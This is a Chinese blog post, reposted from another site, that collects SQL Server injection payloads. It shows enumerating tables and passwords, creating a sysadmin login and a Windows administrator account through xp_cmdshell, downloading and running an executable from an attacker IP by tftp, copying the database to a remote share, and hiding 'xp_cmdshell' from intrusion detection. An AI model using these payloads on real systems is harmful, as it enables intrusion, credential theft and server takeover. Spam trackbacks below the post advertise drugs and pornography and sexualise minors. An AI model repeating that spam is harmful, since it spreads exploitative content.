Sql注射总结
Posted by adminJun 13
Sql Injection永远是那么可爱...
Sql注射总结(早源于'or'1'='1)
最重要的表名:
select * from sysobjects
sysobjects ncsysobjects
sysindexes tsysindexes
syscolumns
systypes
sysusers
sysdatabases
sysxlogins
sysprocesses
最重要的一些用户名(默认sql数据库中存在着的)
public
dbo
guest(一般禁止,或者没权限)
db_sercurityadmin
ab_dlladmin
---------------------------------
union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable'-
union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable' where COLUMN_NAME NOT IN ('login_id')-
union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable' where COLUMN_NAME NOT IN ('login_id','login_name')-
union select TOP 1 login_name FROM logintable-
union select TOP 1 password FROM logintable where login_name='Rahul'--
构造语句:查询是否存在xp_cmdshell
and 1=(select @@VERSION)
and 'sa'=(select System_user)
and 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell')
;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'
1=(%20select%20count(*)%20from%20master.dbo.sysobjects%20where%20xtype='x'%20and%20name='xp_cmdshell')
and 1=(select IS_SRVROLEMEMBER('sysadmin')) 判断sa权限是否
and 1=(select name from master.dbo.sysdatabases where dbid=7) 得到库名(从1到5都是系统的id,6以上才可以判断)
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的数据库名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 暴到一个表 假设为 admin
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in ('Admin')) 来得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin'
and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
('id',...)) 来暴出其他的字段
and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用户名
依次可以得到密码。。。。。假设存在user_id username ,password 等字段
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in('Address'))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 判断id值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段
传统的存在xp_cmdshell的测试过程:
;exec master.dbo.sp_addlogin hax;--
;exec master.dbo.sp_password null,hax,hax;--
;exec master.dbo.sp_addsrvrolemember hax sysadmin;--
;exec master.dbo.xp_cmdshell 'net user hax hax /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators hax /add';--
exec master..xp_servicecontrol 'start', 'schedule'
exec master..xp_servicecontrol 'start', 'server'
http://localhost/show.asp?id=1; exec master.dbo.xp_cmdshell 'tftp -i youip get file.exe';--
http://localhost/show.asp?id=1'; exec master..xp_cmdshell 'tftp -i youip get file.exe'-
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'
declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'
;declare @a;set @a=db_name();backup database @a to disk='你的IP你的共享目录bak.dat'
如果被限制则可以。
select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec master.dbo.sp_addlogin hax')
传统查询构造:
select * FROM news where id=... AND topic=... AND .....
admin'and 1=(select count(*) from [user] where username='victim' and right(left(userpass,01),1)='1') and userpass <>'
select 123;--
;use master;--
:a' or name like 'fff%';-- 显示有一个叫ffff的用户哈。
'and 1<>(select count(email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where xtype='u' and status>0) where name='ffff';--
说明:
上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
通过查看ffff的用户资料可得第一个用表叫ad
然后根据表名ad得到这个表的ID
ffff';update [users] set email=(select top 1 id from sysobjects where xtype='u' and name='ad') where name='ffff';--
象下面这样就可以得到第二个表的名字了
ffff';update [users] set email=(select top 1 name from sysobjects where xtype='u' and id>581577110) where name='ffff';--
ffff';update [users] set email=(select top 1 count(id) from password) where name='ffff';--
ffff';update [users] set email=(select top 1 pwd from password where id=2) where name='ffff';--
ffff';update [users] set email=(select top 1 name from password where id=2) where name='ffff';--
exec master..xp_servicecontrol 'start', 'schedule'
exec master..xp_servicecontrol 'start', 'server'
sp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll'
扩展存储就可以通过一般的方法调用:
exec xp_webserver
一旦这个扩展存储执行过,可以这样删除它:
sp_dropextendedproc 'xp_webserver'
insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)-
insert into users values( 667,123,123,0xffff)-
insert into users values ( 123, 'admin''--', 'password', 0xffff)-
;and user>0
;;and (select count(*) from sysobjects)>0
;;and (select count(*) from mysysobjects)>0 //为access数据库
-----------------------------------------------------------通常注射的一些介绍:
A) ID=49 这类注入的参数是数字型,SQL语句原貌大致如下:
select * from 表名 where 字段=49
注入的参数为ID=49 And [查询条件],即是生成语句:
select * from 表名 where 字段=49 And [查询条件]
(B) Class=连续剧 这类注入的参数是字符型,SQL语句原貌大致概如下:
select * from 表名 where 字段='连续剧'
注入的参数为Class=连续剧' and [查询条件] and ''=' ,即是生成语句:
select * from 表名 where 字段='连续剧' and [查询条件] and ''=''
(C) 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下:
select * from 表名 where 字段like '%关键字%'
注入的参数为keyword=' and [查询条件] and '%25'=', 即是生成语句:
select * from 表名 where字段like '%' and [查询条件] and '%'='%'
;;and (select Top 1 name from sysobjects where xtype='U' and status>0)>0
sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype='U' and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。
;;and (select Top 1 col_name(object_id('表名'),1) from sysobjects)>0
从⑤拿到表名后,用object_id('表名')获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。
post.htm内容:主要是方便输入。
<iframe name=p src=# width=800 height=350 frameborder=0></iframe>
<br>
<form action=http://test.com/count.asp target=p>
<input name="id" value="1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--" style="width:750">
<input type=submit value=">>>">
<input type=hidden name=fno value="2, 3">
</form>
枚举出他的数据表名:
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--
这是将第一个表名更新到aaa的字段处。
读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>'刚才得到的表名')。
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0 and name<>'vote');--
然后id=1552 and exists(select * from aaa where aaa>5)
读出第二个表,^^^^^^一个个的读出,直到没有为止。
读字段是这样:
id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),1));--
然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名
id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),2));--
然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名
--------------------------------高级技巧:
[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>'你得到的表名' 查出一个加一个]) [ where 条件]
select top 1 name from sysobjects where xtype=u and status>0 and name not in('table1','table2',...)
通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]
[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]
update 表名 set 字段=(select top 1 col_name(object_id('要查询的数据表名'),字段列如:1) [ where 条件]
绕过IDS的检测[使用变量]
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'
declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'
转自:http://www.webxiaoz.cn/article/technology/656.htm










































19 comments
Trackback by Generic xanax. on April 15, 2010 at 5:43 pm
Xanax side effects....
Pharmacy order generic xanax. Xanax....
Trackback by Percocet. on April 16, 2010 at 1:02 pm
Percocet addiction....
Half-life of percocet. Percocet. Generic percocet picture. Percocet addiction. Percocet withdrawl....
Trackback by Animal sex. on April 16, 2010 at 10:01 pm
Animal sex....
Animal sex....
Trackback by Granny galleries. on April 17, 2010 at 11:21 am
Granny free....
Granny post. Granny. Granny movie galleries. Granny fucking. Old nasty amateur granny. Granny mature. Granny pussy....
Trackback by Amateur blowjob. on April 18, 2010 at 10:10 am
Teen blowjob....
Car blowjob. Paris hilton blowjob. Free blowjob videos. Free blowjob movies. Pov blowjob....
Trackback by Buy viagra. on July 25, 2010 at 8:40 pm
Viagra....
Cheap viagra. Viagra....
Trackback by Vicodin es. on July 26, 2010 at 1:26 am
Vicodin....
Quiting vicodin information. Vicodin no prescription. Vicodin. Legal meds online usa vicodin....
Trackback by Cialis discount american pharmacy. on July 26, 2010 at 12:49 pm
Cialis....
Cialis uk suppliers. Combined cialis viagra. Using cialis. Cialis....
Trackback by Percocet addiction .og. on July 27, 2010 at 2:17 am
Percocet....
Percocet....
Trackback by Keyword phentermine. on July 27, 2010 at 1:55 pm
How does phentermine work....
Phentermine. Phentermine ingredient. Phentermine cod....
Trackback by Phentermine. on July 28, 2010 at 3:35 am
Phentermine prescription....
Phentermine. Order phentermine....
Trackback by Buy xanax online. on July 29, 2010 at 8:44 am
Xanax....
How long does xanax stay in your system. Xanax. No prescription xanax. Xanax during pregnancy....
Trackback by Brittany spears underwear. on July 30, 2010 at 5:17 pm
Britney spears without underwear....
Teen underwear models. Britney spears no underwear. Underwear. Hanes underwear. Britney spears without underwear....
Trackback by Boys in underwear. on August 9, 2010 at 3:03 am
Men s bulging underwear....
Men s underwear. Mens underwear. Britney no underwear. Young girls in underwear. Gay men in underwear....
Trackback by Calvin klein male underwear models. on August 9, 2010 at 5:17 pm
Revealing male underwear....
Male swim and underwear. Male underwear. Polypropalene underwear casual male. Male underwear models. Young male underwear models. Nylon underwear male. Male underwear free galleries....
Trackback by Hot girls in underwear. on August 10, 2010 at 9:07 am
Underwear for teen girls and young women....
Girls in underwear. Girls underwear. Young girls in underwear. Beautiful blonde in black underwear pinup girls. Pubescent girls underwear. Teen girls used underwear for sale....
Trackback by Men underwear. on August 11, 2010 at 12:06 am
Men underwear....
Men underwear....
Trackback by Reversing the effects of propecia. on August 11, 2010 at 2:38 pm
Propecia....
Pill propecia. Propecia post side effect. Propecia finasteride precautions amp side effects....
Trackback by Underwear for teen girls and young women. on August 12, 2010 at 1:18 am
Teenage girls in underwear....
Young girls in underwear. Girls wareing underwear. Stores that sell st. eve underwear for girls. Underage girls in underwear....
You must be logged in to post a comment.